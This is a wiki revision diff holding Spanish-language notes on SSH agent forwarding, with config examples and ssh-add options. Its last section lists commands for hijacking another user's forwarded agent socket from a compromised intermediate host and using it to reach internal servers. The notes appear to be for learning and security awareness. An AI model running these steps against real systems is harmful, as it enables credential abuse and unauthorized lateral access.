Diferències

Ací es mostren les diferències entre la revisió seleccionada i la versió actual de la pàgina.

Enllaç a la visualització de la comparació

Ambdós costats versió prèvia Revisió prèvia
Següent revisió
Revisió prèvia
linux:ssh:agente [27/05/2025 05:34] – suprimit - edició externa (Data desconeguda) 127.0.0.1linux:ssh:agente [27/05/2025 05:41] (actual) mate
Línia 1: Línia 1:
 += agente SSH
 +== ssh-agent (port forwarding)
 +  * [[https://deephacking.tech/ssh-agent-hijacking-linux/]]
 +  * {{:linux:ssh:pasted:20250527-054104.png?700}}
 +  * <code ; ~/.ssh/config>
 +Host dmz
 +    HostName dmz
 +    User alice
 +    ForwardAgent yes
 +</code>
 +  * Acceso ordenador DMZ (intermedio):<code bash>ssh dmz
 +# ssh -i ~/.ssh/clave_privada -A user@host</code>
 +  * <code ; ~/.ssh/config>Host internalserver
 +    HostName 192.168.10.30
 +    User alice
 +    ProxyJump dmz
 +    ForwardAgent yes
 +</code>
 +  * Acceso ordenador interno a través del intermedio:<code bash>ssh internalServer</code>
 +    * Si**ForwardAgent** està deshabilitado no se puede.
 +  * verificar 
 +  * <code ; ~/.ssh/config>
 +</code>
 +
 +== opciones
 +  * ''ssh-add <clave>'' : añade la clave indicada para su uso (si tiene contraseña, nos la pedirá al usar)
 +    * ''-t <segundos>'' : duración de la identidad en el agente
 +  * ''ssh-add -K <clave>'' : añade permanentemente la clave para su uso
 +  * ''ssh-add -L'' : lista las claves públicas de las claves existentes
 +  * ''ssh-add -l'' : lista las claves
 +  * ''ssh-add -d <clave>'' : elimina la clave
 +    * ''-D'' : elimina todas las claves
 +  * ''ssh-add -x'' : bloquea agente
 +    * ''-X'' : desbloquea agente
 +
 +== comprometer el servidor intermedio
 +  * entrar como root
 +  * mirar usuarios del sistema
 +  * mirar si tienen procesos SSH abiertos:<code bash>pstree -p <USER> | grep ssh</code>
 +  * mirar variables del entorno del usuario:<code bash>cat /proc/<PID>/environ | tr '\0' '\n' | grep SSH_AUTH_SOCK</code>
 +  * mirar a quien corresponde el socket (root): <code bash>SSH_AUTH_SOCK=/tmp/ssh-XXXX41DN9o/agent.46200 ssh-add -l</code>
 +  * mirar ordenadores remotos del usuario: <code bash>cat /home/<USER>/.ssh/known_hosts</code>
 +  * probar la conexión con esos servidores:<code bash>SSH_AUTH_SOCK=/tmp/ssh-XXXX41DN9o/agent.46200 ssh alice@internalserver</code>